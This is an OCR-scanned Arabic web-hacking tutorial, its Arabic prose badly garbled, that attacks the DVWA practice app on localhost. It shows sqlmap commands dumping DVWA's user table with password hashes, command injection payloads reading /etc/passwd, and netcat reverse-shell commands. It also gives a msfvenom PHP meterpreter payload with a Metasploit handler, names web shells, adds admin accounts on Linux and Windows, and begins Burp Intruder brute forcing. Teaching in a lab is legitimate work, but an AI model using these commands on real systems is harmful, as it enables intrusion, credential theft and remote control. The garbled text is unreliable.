ol Jangll dwlally dnlall 1agall aaail paATNT :-- cookie =
pgaall dilac clifl Guhill

[aliludl 6acldy (plAll banner (pyel: -b =

aliludl éaclal alilull 6xcld 6jlal plAi ayel @ --current-db =
Al

odiwoll alilull éacld 6jla] pllAi yayel : --current-user =
sl

dihAll alulyyl wyyeil dini dogd guolil @ --string

- alilll 6acld §)la] plAi (qo0xATo A)el @ -users =

[ablilydl 6acld 6jla] pu doldy (plall gulall jajel: --password =

pgaall aitonil aliludl 6acld 6jla] paATwo agaail :-U =

pMAiwoll alhln (Ayel : --privileges =

Jap od 63gagall alilll aclgd J4 clowl (jAjel : --dbs
aliludl 6acld

@l alily éxcld gl aaail :-D

arall alilyl 8acld oa Jglaall Ja yayel @ --tables =

aaxall Jgaall yyaqil . -T =

Gl ldai g <l o 350 L)




anall Jgaall ga x0cll J5 el : --columns =
.anjc pill agole gl ayanil : -C =

.azall 3xacll ggino Ajel: --dump =
loa aljlill odd@ plaatwly laaialay aliag (Al glyiolpll doyd
(cookie) dulall wajedg dilnall daanll URL (jlgic aanil
Burp Intercept o4 raw tab o odtdll oda yajc dlgauy Lliiday
I dwlall caped ol ,padimo JAI awai ga URL (lgic
AL ellAl L Jliall 138 oé jeall dayd e cality cagu dodAimiw
ablhll haill yxeb il gwlgull gl go A4lig dard J5 oo
User paiiwall capeds (lillio o 2) dard sl Jlash pgdi gl Ao

)i wdgu sqlmap Jrowil l@aling il diglhall aidll gla 1D
L Jadull oa oS raw tab o4
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Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Option:

Intercept | HTTP histary T WebSockets history T Options |

Filter: Hiding C55, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Lengl
1 http:/f127.0.0.1 POST Jdvwaflogin. php ] O 302 364
2 http:#/127.0.0.1 GET Jdvwafindex. php O O 200 7726
3 http:/f127.0.0.1 GET Jdvwafvulnerabilities/sglif ] O 200 5547
4 http:#f127.0.0.1 GET JSdvwafvulnerabilities/sglif [ J 200 5547
5 http:/f127.0.0.1 GET fdvwafvulnerabilities/sqlif?id=]a... ] O 200 5547
[ http:/f127.0.0.1 GET Jdvwalsecurity. php O O 200 6330
7 http:#/127.0.0.1 GET Jdvwalsecurity. php O O 200 6330
a8 http:/f127.0.0.1 POST Jdvwalsecurity. php ] O 302 457
9 http:#f127.0.0.1 GET Jdvwalsecurity. php O O 200 6399
10 http:/f127.0.0.1 GET Jdvwafvulnerabilities/sglif ] O 200 5441
11 http:/f127.0.0.1 GET Jdvwafvulnerabilities/sglif ] O 200 5441
12 hitp://127.0.0.1 GET fdvwasvulnerabilities/sqli/?id=)a... & O 200 5813
13 http://127.0.0.1 GET fdwwajvulnerabilities/sqliffid=la... 5] O 200 5813
1 [0 = TR e T | —FT felvnsmabhmilnarshilitiasfeonalif?id—1=a (] r1i 2n

1N  i—

_[ RequestT Response |

_[ Raw T Params T Headers T Hex |

GET Sdvwa/vulnerabilities/sqli/ HITP/1l.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (¥1l; Linux xB8&_£4; rv:38.0) Gecko/Z0100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html, application/xhtml+txwl, application/xml;gq=0_59, */*% q=0_8

Accept-Language: en-US,en;q=0_5

Accept-Encoding: gzip, deflate

Beferer: http: / 127.0.0. L/dvwa/index . phyp

Cookie: security=impossible; PHPSESSID=3mmt0fuSnppgliupbhipinkolel

Comnection: keep-aliwve

cookie header (PHPSESSID and security) a Jujioljbi rxagy

go URL anal Lyl dalay gig sqimap (ea [@olaiiwy dalay gaig
Referrer header

awis pdg oni wilo aidr pd ardll oda il adai al elil go A5l

-- cookie 191 cookie dord pAATwi agu oidll oda (Gnlg

-u A9J URL doaudg
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d SQL injection dadn aa User ID Jdn o4 pd) I Jlash pd
dvwa

doildll i Proxy daildll (o Burp Suite qa wlhll 3@ aidy pd o
g0 olawll awdll gd oitodl Jill hoally pé History dicjall
L Jaudl oa lob calo (gl] qunill jidlg douliull

Burp ntrwder Sepester Wondowm Help
[ Targen [ onny | soster | scanner [ waruder | Bapenter | Secvescer [ Decader | Compacer | Bxtender | Comens | Mlerns |

[ wnercess | MITR bimtary | webSeckess hatary | Oonens |

| Poter ndng C55, image and gereral Binary content d
A L
Method UL Params  Cé%ed  Status  Lang®™  MME Hpe  Eenson | THe
3 ONY (v alagn ot '3 o] 1 e L "o a
¢l oLy fdvmarndes thy o J 200 Ar L) ML she Welcorre | Dera v D
| GeY fdvmarviner abier sV o 9} I 547 MTML Vuinerabibty SOL Iy
®1 ceY Idvmatvanerabitieniagd) U o 209 547 HTML Viinerablity SOU W
1 T (Svmarvdneratitev/igiTide(a A J N 2547 NTML Vinersbity SO0 Iy
21 oY Svmasecurty phe & - N0 “an T ste VWA Securey - Da
3] GIT Mvmarsesurey phe by e T e DVWA Securny - Da
&3 05T (v sesurny phe " ) » %7 I Ve
¢3 OEY Mvmaryelurny phe (& J b o i e OVRA Secwry  De
L] oY fvmarednersbines/sa W J a0 sl HTML VWirerabibty S0C W
el L4 (dvmarvinerabitien/saV O U 200 sl HTML VWinerabilty SO0 Iy
81 oY SvmarvineratiterygVNdeja s J 200 013 ML Vuinerabilty SO0 Iy
21 GeT fSvmarvineradétie /s idela 4 iJ 200 8113 NTML Vulinerabity SOL iy '
2 b 30 A A GeY L L L g L e o
|- 1 Sand 1 Spider »
J_m—lhwu | :
Send to Intruder Cirlel
»
J.‘.l e 1“’““ l“" 1 Send to Repestar Cirien
SEY JdvwasvulaarabLlataen/egiar RS0 L Secd to Sequencer \
k: I27.9.9.1 p
g Maak3last. ® OIL Bamas sBE_64i #vi 39,01 Cordo/t0L0I0L Rarel oo o Comparar
Aocept: Tost/Rsnl, pplicstionsitenlinnl applicationsonl g0 9, %/ qe0 0 Send to Decoder
Arcept *Leangusge s US_en g0 & Show respanrae n browser
Aivagh=Encading gsip, Seliste Raguent i bramaer »
Datoser: Necy /7320 0.0 . L/dvwalinden . yhyp { . a
Ceokie: securityvispesvihie: PHPSEESIT=lantd Mutrgpyrngdipinksied Ergapement tosls [Pro versisn sal| »
Sormast Lo Nesp-alive Copy USL
Comy o8 Ol Command
Lave Tem
»
.

oJLiad jluo (zgig ol 6h il 1A hasy pd pf

Gl ldai g <l o 350 L)




(U Jaidl od las sql pal Gyial Lil

ﬁ kali [Running] - Oracle VM VirtualBox

F_Burp Intruder Repeater Window Help

; |‘T¢etr Praxy I Spider 1 Seanner ] Intruder ] Repaater I Sequencer I Decoder ] Comparer ] Optians i Alerts |

|' IntercentI History I Optiens |

|F|ILe'. Hiding CSS, imageisnd general binary conbent

# & Host Methed | URL Params | Madifi Status | Length = MIME type | Extension | Title
1 http:#127.0.0.1 GET fdvwafvulnerabilities/sqlyTid=132, = (0] z00 5074 HTHL Damn Yulnerable We.
3 http: fisafebrowsing clients... POST e ardePeiimnt =
Choose a file to save to
Laok In: | (& root LN BEE-BE 2| =
(i Desktop
(i 1omm
DVWA-1.0.8.zip
| chewa htrmi
Nessus-5.2 6-debiané_amd64 deb ]
-l - W
J original request I duto-modified reque:
Raw [Pamms | Headers ] Heax File Name: =]
GET fdvwafvulnerabilities/sql/Tid= 126 piles of Type: | All Files v &
Host: 127.0.0.1 r
Save | | Cancel
Accept-
fefere 1
Cookie BCUNT ow: PHPSESSID=|r7itr2
Connection: keep-alive
b
v
| || = + =

Q matches

- olLill JoUl plaitwly sqimap 85 Jyedily pgdiw

sqglmap -r /froot/sql --banner
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(LIS dayiill gghiumg

:/usr/share/sqlmap# sqlmap -r /root/sql --banner

}

sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respor

sible for any misuse or damage caused by this program

[!] legal disclaimer: Usage of

[*] starting at 06:39:59

~re ) s i s !
.sqlmap/output

et URL wi : \
53¢ without providing any POST parameters
ptior
t to try URI injections in the target URL itself? [Y/n/q] [}

ol daldvyl cugll papon alall Jueill plai ggi T oag
doxATwell alilull é6xcld ¢qig cagll papw ¢gi agani

eyt oM gdgall glc 63gagoll aliludl aclgd (glc Jgnall
Z('_.gdl_'l'_”

sqlmap -r /froot/sql --dbs

(oS dayiill ggaig
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web server operating system:
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0

available databases [4]:
[*] dvwa

[*] information_schema
[*] mysql

[*] performance schema

2dgoll 3@ glc alily Aclgd gyl Aagy dila j@lkhy las
Ll poVl JMA (o alily dxcld sl Jaly Jghall ole Jgnall
Alio dvwa cililll 8acld Jal go

sqlmap -r /froot/sql -D dvwa --tables

(ol LS dyiill ggaig

[06:59:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5

:57] [WARNING] reflective value(s) found and filtering out

Database: dvwa
[2 tables]
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Gtgan ole (ggai dvwa aliludl 8acld

Ll poll paiiwi users Jgaall aligino gle Jgnall

sqlmap -r /froot/sql -D dvwa -T users --dump
dnlall abalall has ayi aid 1] elluy cagqu oVl A& Guhi aic
cis 13] Jluw pi wégo walo (oa Jgaall (o 3gagall puull ciloly
. SlLillS dayiill ggding y waplly iyl pd alblall odd s gy

———————————————————— e e e
user_id | avatar i | password
| last_name | first name | last_login | failed login |

| http://127.0.0.1/dvwa/hackable/users/admin.jpg | admin 5f4dcc3b5aa765d61d8

| admin | admin | 2016-01-04 01:14:10 | O |
| http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99al8c428cb38d5f2

| Brown | Gordon | 2016-01-04 01:14:10 | O |
| http://127.0.0.1/dvwa/hackable/users/1337.jpg [F£1:337 | 8d3533d75ae2c3966d

c69216b (charley) | Me | Hack | 2016-01-04 01:14:10 | O |
| http://127.0.0.1/dvwa/hackable/users/pablo.jpg | pablo | ©d107d0eSfSbbed4Bcadd

71e9e9b7 (letmein) | Picasso | Pablo | 2016-01-04 01:14:10 | © |
| http://127.0.0.1/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61dq

b882c f99 (password) | Smith | Bob | 2016-01-04 01:14:10 | O |

i dnlall jull dold Gila go paiiwo J5 pul glc ggai dayiill
oxATwall 138 dnlall 8)gnll ey huljg jull dals gl dalayl
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: ln. & ..” PLh.i t,-,II "I o o e 6J.S.Z..|.

&any Ra Juenill plAi aloglei gda ga gdall pgaa o JAl cja
JAA go wugll japun sle opolgl lay gf I3l palanll ggsy Lovic
(bash in Linux or cmd.exe in Windows)

ol cilaylei daln] olc jald Jgiy palanll gla allall phoo oé
Guthi gls 13] Alio «ugll Guhi laiogy il aloyleill oJ] diga

pwl dayeo gl ay pplAall IP glgic dajeo pariwoall pouy gl
.dofai anad joljl pjod JUA Jo cllig grogall

oAAiwo daln| daglei Jio gl daglei dalal pgduw palaoll
M1aii pfy cagud 6p9ill oday ulbno Guhill gla 13]g plAill Ajaa
ool Lil4

: l“o oo uII ij al “I "L.}aa

Loiill plhi alaglot g 656 LAY Gl 1ito pady losic
. oAg lad1aii pgiyw Lo Wle il aloyleill go yac dliag

oAAT dalal =

(8)1a\l dcgoao) Joc degoqo (gl paiiwo dalal =

(olAill pao cada) paATiuo i =
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wle Jgmall gle aclui il gAYl alodeill yaey o] dalayly
(oriiwall alogleo Jio plhill e alogleall Jo J4a00 jad pAl
plhAill alalac] alogleog (oriiwell alalo Gilogleog

o alogloill Aiaiiy pgdl elil a4)ai gl wa Ml paall eyt

o root dnnllny Jagy qugll Guhi gla 13] .30 alinlln ggiwo
il alagleill gla jgaiig plai o4 administrator gl gudiyl pliAj
dllall oda galg sgiumo el ga [@ALaii piy wgw laidn) pgdi
alpln ggiwo od Jooi wgll aldyhi pheo g éaai Lo jali
ogaall 13a padiwi ail elyle way elldl ggiwall Jio jAdiio

ol 83gagall duwlwall alaloll caiifig gjanoll 3gall Jioail

gl pap

:dylill doyleill pladiwl elifoy guiiyd Juesiill plhi od

~# useradd jameel

jameel douul 3132 pAATo dalny

:~# passwd jameel
Enter new UNIX password:

Retype new UNIX password:
passwd: password updated successfully

oxAiwall A& j dals yeil
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walo dajeo elile aay cugll japn od Ao clial auny loaic
dulill dagleill Jila go elly piig 63gagall cilcgonall

:~# getent group jameel

jameel :x:1004:

c10d (Al paiiwall daln| elibora admin group Aagy dil yaljial
dulill doyleill JMA o dcgoaanll odd (oll aialnll

usermod -G admin jameel
S i gl elifoy 8)layl degano Jaly wlwn ebal apnyg Loaic
admin group 613yl dcgoao oa guagagoll gl (quoraiall
:dllill douleill plaATuly
getent group admin
olaiiwly (Mlio jameel ) JAl padiol wlwa gl @ia l@aey clida)
ddlill doyleill

i~# userdel jameel

J4 waing A padtwo dalny aloleill o dlulw dli4 elidoy
cugll papw o8 Ul uodaiwall alilun
dulill doleill plaiiwl clifoy jgaiyg plAi (o

net user /add jameel 12456789
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123456789 ju dol4ag jameel owli A13a p3ATwwo dalny
administrator group (ol paaiwiall A& dalh] l@ye) ¢libay
dulill douleill plaaily

net localgroup administrators jameel /add
:dlill doyleill plaaiwlb (lio Ali) Jul groadimo waia elidayg

net user Ali /delet

alpiln sgiue @lel ga Jooi gai al dil Jla g4

(root in Linux or SESTEM in Windows)
cli galAll alhMnll ggiwo dajeol id Jio dloule’ plaaiwl ¢lidoy
ddlill doyleill JAA o passwd wilo daaliio elidoy gl

:Jusuiiill plAi ciloglei géa pgad

Command Execution ga jlia ol wilall glc DVWA (o4 1agy

olhill alodlei gdn pgaa jLidly Ll pouuy Al gag

Gl ldai g <l o 350 L)




Home . Vulnerability: Command Injection

Instructions |

Ping a device
Setup / Reset DB |

Enter an P address; | [

Brute Force

Submit |

CSRE More Information

File Upload
Insecure CAPTCHA
SAL Injection

|
|
|
File Inclusion |
|
|
|

ping sa Aa gl Guhi o [@Aaii Jjaoy Lg\JJl dioloill

ol ping dolei Syl pgiyl plhill (o] ojjol piy priiuall Jax

Aanio gl lanjc piy doyleill 03a

\yaif dayii éale] aiy

oLl J4uitll o Lod paiiwoll

Vulnerability: Command Injection

Ping a device

Enter an IP address: | I| Submit

PING 127.0.0.1 (127
64 bytes from 127.
64 bytes from 127.
64 bytes from 127.
64 bytes from 127.

.0.0.1) 56(84) bytes of data.

.0.1: 1cmp_seqg=1 ttl=64 time=0.034
.0.1: 1cmp_seq=2 ttl=F4 time=0.043
.0.1: 1cmp_seq=2 ttl=F4 time=0.046
.0.1: 1cmp_seq=4 ttl=64 time=0.044

oDooo

- 127.0.0.1 ping statistics --- _
4 packets transmitted, 4 received, % packet loss, tim
rtt mlnfavgfmaxfmdev = 0.034,/0.041,/0,045,/0,009 ms

ms
ms
ms
ms

e Z9928ms
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Araii alai @i localhost glaoll jlaall go ping dayleil abilayl
.dilooll
Aoy duali] guaiyl plii alogled padi gl J] alind §ljial pites
.dhgdio dlnla playaiul
olhi cilaglei dli4 Loyl elifay IP 127.0.0.1 glgic @li4 go Vil
63gagall alalrolly dodld jlaly elldg (oJLill JLliall Y los draln]
L oMl dilia JAA (o ¢llig

127.0.0.1; Is

Vulnerability: Command Injection

Ping a device

Enter an IP address: | || Submit |

PING 127.0.0.1 (127.0.0.1) S56(84) bytes of data.

64 bytes from 127.0.0.1: 1cmp_seq=l ttl=64 time=0.033 ms
64 bytes from 127.0.0.1: 1cmp_seq=2 ttl=64 time=0.047 ms
64 bytes from 127.0.0.1: 1cmp_seq=3 ttl=F4 time=0.048 ms
64 bytes from 127.0.0.1: 1cmp_seq=4 ttl=64 time=0.048 ms

- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.033/0.044/0.048/0.006 ms
help
index.php
source

ping doyloill 34aii &yl rey [bilio Is doyleill dayii ki g
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JAa Jo pull alals walo (Jio dwlwall olhill alalo A elifoy

127.0.0.1; cat /etc/passwd

Vulnerability: Command Injection

Ping a device

Enter an IP address: | I| Submit

PING 127.0.0.1 (127.0.0
64 bytes from 127.0.0.1: 1cmp_seq=1 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: 1cmp_seq=2 ttl=64 time=0.044 ms
64 bytes from 127.0.0.1: 1cmp_seq=3 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: 1cmp_seq=4 ttl=64 time=0.047 ms

- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, ©% packet loss, time 2998ms
rtt min/avg/max/mdev = 0.028/0.041/0.047/0.007 ms
root:x:0:0:root: froot:user
daemon:x:1:1:daesmon: fusr/shin: fusr/shin/nologin
bin:x:2:2:bin:/bin: fusr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:60:games: Jusr/games: /usr/shin/nologin
man:x:6:12:man: /var/cache/man: fusr/sbin/nologin
lp:ix:7:7:lp:/var/spool/Lpd: fusr/sbin/nologin
mail:x:8:8:mai1l:/var/mail: susr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/shin/nologin
uucp:x:10:10:uucp: fvar/spool/uucp: fusr/shin/nologin
proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
www-data:x:33: 33 www-data: fvar fwww: fusr/shin/nologin
backup:x:34:34:backup: fvar/backups:/usr/sbin/nologin
list:x:38:38:Ma1ling List Manager:/var/List:/usr/sbhin/nologin

Ll Laiss ol aloyleill dyaiil 8yeill 0da phiiwl Ul clifoy
Juoinl 4oy Lo4 ,olhill o Jroriimall waing Jureig dalny
pudl alels gle sgay (Al passwd walo (sgino ajel §peill ola
dalal alied g éndl Guhill ags (ol elidg groaiinall J4l
Guhill g4

) i S 31 i



Guhi laa jgiy @JI dllall S 621l oda (po éalaiwVl Jaoug
dQido plaiml go Yar Juoyl Jluy doglei Aaii aid qito gl
SMTP

polgVl phu oJ| adio pé Jroul glgic jou loaic j@hi alpeill oda
daleill clit clliogMl Jluyl Guhi oa

Mail -s "Account Confirmation? dolphin-syria@hotmail.com
ol Jioy] ylgic dalny daln] guiiyl aloglei dala] elidoy lo4
plAi 1d go Iiilio aialleo piy dille alniln gy padiwo 3y
) I"- oo -.II
.dilclai shell plaaiwl o
ASYIl ddyphll gAlg lalla go diloell oday plidll (§ph 6ac Aagy
oleg goiwad djlan go J4 olc neteat 6lal plaiiuly o legu
djlan go guwic Jady Jnii daguw il g shell ¢ @Grall jlaa
dulill dayleill Adpaii JUA o gaiwas djlay alac| elifoy

nc -/ -v yourlPAddress -p 4444

~#¥ nc -1 -v 127.0.0.1 -p 4444
listening on [any] 4444 ...
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adlill dagleill gda JUA go winall jlan eleg

nc —c /bin/sh YourlPAddress 4444

:.web shell cugll Jua

dlno gdgo JMA o wugll jajun (ol aedy Jhoy pon Ay ga
dl 2oung gl papuul Jgng GVl pital jods gag 8<ill oday
Ao ge go aloyleill Adaiiy

php or) cugll Japw l@acy) dely ugifo cupbudl ggiy g way
(asp

digido ciyjduw pladiml uara PHP acay carall papuull gls 13

dolll oday

dglill jgolly aic gog plidll GhiaVl pidal aouui Judll

alalaell gy Jaiill

alalall Juaei

lalo g4y gi Jioad =
lalall cada =

Jagitill ol o alaylet Agaii =
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alibudl éacldr JLaiydl =
84l dyiy ge alogleo i »

61211 dilnall g_algnjl (_c,\.CI Juall oda Qq) JAod
RFI - Remote File Inclusion

carall papuall 04aill daalg ¢l jogi tz(,\_’l'JIg Jrod! o aaell Aagy
China Chopper, WSO, C99 and B374K : Jio

duly pday Ll poui php Juw algil msfvenom oladiwl Liidoy Lo4
carall papll go guuic JLail

:~# msfvenom -p php/meterpreter/reverse tcp LHOST=172.16.2.100 LPORY=4444 -e php/basebt
-f raw >shell.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
Found 1 compatible encoders

Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1287 (iteration=0)

php/base64 chosen with final size 1287

Payload size: 1287 bytes

dlno payuall gla 13l) cugll yapu ol calell 13a gaj Liiday JUI
(6211l oAy
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oudell Jlaiyl hdiuwyl handler jlaclg cuyglulisoll 813l aiag

use exploit/multi/handler
xploit( ) > set payload php/meterpreter/reverse tcp
ad => php/meterpreter/reverse tcp

) > set lhost 172.16.2.100

) > exploit

[*] Started reverse TCP handler on 172.16.2.100:4444
[*] Starting the payload handler...

i cagus l@aicg Juill jluo sle g9y M1 il addy pgii o
go dllea meterpreter dwly glc Jnaiwg uwiell Jlnill dilac
daall plAill
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:Jndall 1A@ ¢gino

Aduwlall 6)alg ddalnall alpet

.ddilnall pu4l brute force douulell 6gdll pgaa
( j15g4lly dudall daalao

Jlwoll jglai pgaa

No security hole is small
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:doAdo

&yl Laiy wugll Guhi @l Jgaall Jiawiy Ll powi déalaoll dilac
clyig panill dlac JAA pif il allaylg aldbll guif duwlall
iVl pe Gguillg pilgall a4 dilac go yish plidll grhiuwi
.gélgall aanig

L=t J1AAgT ol dwidall 6)la] dilocg authentication ddalnoll diloc
déalaoll gla hall eguil . HTTP Jg5gigy alay) o loaic jliic)l
gl aldyhi go apaell od 8pis aljel wle ggai duwlall 8)lalg
G Jdiill palaoll agouwo ggay loaic daay jlwall jglai pgaa
gl pap sa alalaall

upload cilalall gaj dilaer wigll @Guhi aowy boaic 1aa @ilsi 1aag
Jud o dinlleo iyl &y wale (§lay (Gl pite pgdy dun

o8 dwlunll alxlaallg alalall ol Jgngll aouyg wigll Guhi

gl papw
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olAi go J5 (o laioalao piy oill alalaoll gl (yoii gu
pqaall diloc pif carag guiid Jrewill plihig jgaitg Jiwuill

:dulnll 6jlalg ddalnall cilyei

oIal Jio ouudgpull cilgal plaiiwly aiy leguir 411 ddslnall pgaa
brute dounlell 6gdll pgad@ priiwi il (Burp Suite's Intruder)
Jaaall Jiawi alogleo (glc (jroAill force

132 aali didlg pgaall go ggill 138 od dypull go pidll xagy V
daren pu alald ggoaiiuy Iglljlo (poriiwall ghhgo U

A5 3¢ gle (ggaT dalild go Burp Intruder plaiiwly pgdi caguw
Judl alels o

&l sillg qugll Guhi JAA déslnall ga wilgall go aaell dlia
:Jio pgaall go ggill Aa gd dioal

Guhill o] Jgaall Juauui =
Jgpoll dols poi =
Ayl dliwdl =

gdgiall padiwoll ol
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dedgiall dlgVl pull dol4 =
Iul lailaln eaiii V ol pull alal

ol ojlnAll paATy caguw cookie j1agall allhno Jnall A& Jila
session duwlall wajeo gl session cookie duwlall dnlall j14gAll

identifier

opidnhll eaal JUA o hda oy dulall 8)jla] daalao

Audall cayeo algi Ul doalao )
Guhi Jid Jo l@oihi dullg j1agall pladiwl 4l doalao .Y
.cugll

Q94T dudlall &jlal adgi T gl Taa wen j1Agall algi @yl doalao

LAaieAi A

plaiiul 4ais (pad JUd go piy Guhill le Legud 151 pgaal
pad clio alhiy V pgaall go ggill Aag Guhill Jid go jagall
déyyng j15gal ol Jgngll sle J5p Ji 1594l Mlgi dulac

LaolaAtul

[@olaatial 6alelg jragall ddpu pgdy IVl pivo
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:Jluaodl jglai al s

dalwo Al cugll Guhi gla oalaclg wugll papuw qunii piy loic
$gT dalwall oda L@lAly Jooll (Guhill douwy g cugll japuu o
dnlall aliludl xclgdg alalallg jgnllg Guhilli gplall agall glc
dalwall 2j14 jalno J] Jgngll Jglay g Tni agle aay Y Guhill
gl jap ole 63gagall AVl jalnoll oda VU dl dnnAiall
csl alduhil dnnio jgaiw

dnniall dalwoll agan 1A (] Jangll GIRAVI pido ¢clhiwl 13
wouy daa cgll papum ole gVl plnall @l Jengllg Guhill

Jlodl jglai pgaa

:ddslnoll pbl dosilell 6gdll pgad

daan pe qugll Guhi go cljal 8ac o4 [Ail40 AALT ddalnall

pieh pxitwall pgdy boxic Lyl 63gago (sa@g drtipll Jganll
déalnall diloc aiig a1 olall wlwall cilogleo ¢yani gi pull dals
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dlimil olc &laVl JAag jgpoll dals éaleiml dilac JAA Lagl
remember me ij3T jUA plaAiwl icg dypll

ddslull allaell Jui ddslnall dilac ga J1Aa s sl ai 13
JolAll JAsin déslnall dilac gl Jangll piy caguua

iyl aby aiai gl g4y dil ddslnell aljel ad caiall cguill
cagut ol dwnall JuAT .uosiiwall alibwa J4l alila go Jgngll
dilac ga caeall cuy paoll alwn @l Jgngll Jha sa Jnad

.ddilnall

63gagall Brute Force douwilell 6gdll dalho pladiwly pgdi caguw
online Jauy dodilell 8gdll pgaay plidll DVWA a4

dilogy plidll yulwi glc diito HTML daan glc aiiw diloell oda
gl alduhi go %90 (o Ji4] o priiwo ggill Iaag ddslnall
diloc od Al Jolge dalay dpoiwall alpilill ge paill s

oy jgpoll dolag padiwall puul gla gaaill dliwl Jio ddslnall
ddalnall dilac g TjLiiil ji4Y1 @l

offline Jauy pull alald jula pus pgaad Je walito pgaall 1ia
da John the Ripper 81al pladiuwl Gilw Jna o8 ai liod 3llg
6acldg cugll Guhi go piilo Jauy Jelaii g pgaall [Aa
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dilac JAA jgpoll daldg paiiwall puwl dalleay pgdi oIl alilull
.ddilnall

s pgad o piay edl ga online J4uy dounlell 6gdll pgad
wlhll py3éi 8alel pgdi cagu LiiV offline J4uy pull daldl Gulall

pgd) oin wugll Guhi paiii gl aaug cugll Guhi ol 8p0 J5 (o4
L] @luglg alb J5 ole dlayl Mg

:ddalnoll dlglao yalyicl

alac] go A8lig DVWA (o4 (spuull daildll o Brute Force aids pd

clhdnio qa uwigps Burp

Al Guhill I @luwgiog Jgas Juawd dlglao galyicl Jglai caguw

on dllh oa Burp Intercept Ol go A4l

dadn o (§g931 Jauu pull dolg padiwoll puwl guoAd Jglaiw
dlajall Jud duwlwl 8ghall oda jgiiw LdaV jalg oda HTML
cigll G ol Juigi @il alyiohll salo Ixa paal el il
.dualell ddalnall dilac dlglho JilA

lo4 pu dal4 password g paiiwo ow| Jameel pladiwl ¢lod adl
(U Jall ga
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Yo . Vulnerability: Brute Force

Instructions | Lngin
Setup / Reset DB |
Username:;
| \jameel '
Password:
Command Injection | [sesesses '
CSRF |
] - | Login |
File Inclusion | e
|

- .1 _ 1

wlc hanll JUA go oda Jgaall Juauwi dlglao pyrdiy pgdi Loaic

lo4 proxy daildll Jo brup suit oa aljioljlull digy clidoy login j
U Jamll qa

Burp Intruder Repeater Window Help

Target T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T

J T HTTP histary TwebSockets history T Options ]

|iJ Request to http:/f/127.0.0.1:80

| Forward J | Drop J ( Intercept is on | | Action
_[ Raw T Params T Headers T Hex ]

ZET Jdvwa/vulnerabilities/brute/Tusername=jameelipassword=passwordilogin=Login HTTPS1.1

Host: 127.0.0.1

User-Agent: Mozillas5. 0 (Xll; Linux xB&_g4; rv:38.0) Gecko/IZ0100101l Firefox/328.0 Iceweasel/328.5.0
Accept: text/html,application/xhtmltxml , application/xml gq=0_59_ */* . qg=0_8

Accept-Lancuage: en-US, en;qg=0_5

Accept-Encoding: g=ip, deflate

Beferer: http://127.0.0. Lfdvwa/svulnerabilities/hrute/

Cookie: security=low:; _Jjs_datr=pGeibVoxchPhs0bleLSpLEUnh; PHPSESSID=tj&elfipadsUnfb4iigsltitlie
Connection: keep-alive
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Jal o jgjall daldg padimall pul :(ujioljly héa piai cagu Ll
pgaall 1ia

Jalg Juiai waguw oda ddalnall dilac gl o ggasdlio Liil ja3i
aylill Jaw oa déslno dlglo gle Jgnall ga guuil liara
Ly oAl quSgpll (alall

ddslnoll diloc b caenll Jueiw) aljioljlll prd p&i liiday
go dlulw gl dalayly Guhill o] alhll 138 aagi gyl Lidaoy
.[daanll jgpall dolag padiwall ol glc Jnai oda ablidhll
allla o Jai dilalg wllh g4 qidly ail cugll ewbgy gailni gaa|
oxmyi wlh sl (plaiiwl 8ale] gl) yaaag éxgell @aey elida) af
Jg4aiw aAlLilL .6p0 Jgl ddalnoll dllaay liolid wuw ga 138 g
el J8 ole sgay Al alhll gl dalay Li4lg dhila dlglo

ablhll J4 digy elifay jgjoll daldg paiiwall puwl ale Lo pyan
proxy tool of Buro (od history tab JAlA jo dlaioll

ouul pladiwl [@NAGT pi il déslnall dlglao ol paii gUl cuil
password pull dolag Jameel pyxAiwall
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S AUl jaky o

Burp Intruder Repeater Window Help

[Target T Prony T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIeds |

Intercept | HTTP history TWebSockets history T Options |

‘ Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length | MIME type
47 http://127.0.0.1 GET Jdvwafvulnerabilities/brute/ O O 200 5313 HTML
48 http:/f127.0.0.1 GET fdwwafvulnerabilities/brute/ U D] 200 5313 HTML
49 http:/f127.0.0.1 GET fdvwaivulnerabilities/brute/fuser... ] (] 200 5365 HTML

:Burp Intruder alacl|
daan JUsiwl dlglhal Ja@s alhll 13a pladiwl JUI elifoy
Jgpo Alaldg (oriiwo clowl plaatuly ellig .ola ddilnall

sali-

yidlg wlhll gle gisayll jil heall pd dbluy Ja1g <y plall
(Ll Jamll oa o4 sent to intruder
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Durp Saite Frve Edition v1.0.31

Durn ireder Bepester Wndow Help
[ Yarger [ ponmy | souder | scanmar [ warvder [ nesenter | Senvencer | Oecaser | Comonrer | Butander | Comens | Mlerms |

[ wnercest [ 1ITe Matay. | websockens Narery | Cpens |

Piter 1ding €55, mage and genaval Bnary content ']

® & Mot Method | URL Pororms Cofed | Stetus | Leng®™ ML Spa  Dvlension | Tie

“ Ly BUT LR, oLy (vmarsdner shine s v le) 00 L2 30 ) T VWines adny Brvte F
ar L PUTLA RN oY Mvmarvdner shdbe s tevte) U J 209 51 ™ Winesabity Sevte F
4 MmaTes) oer fovmpivdnerabiiesteteltuner . IB (1 00 SMS WML Winerehity Brete P

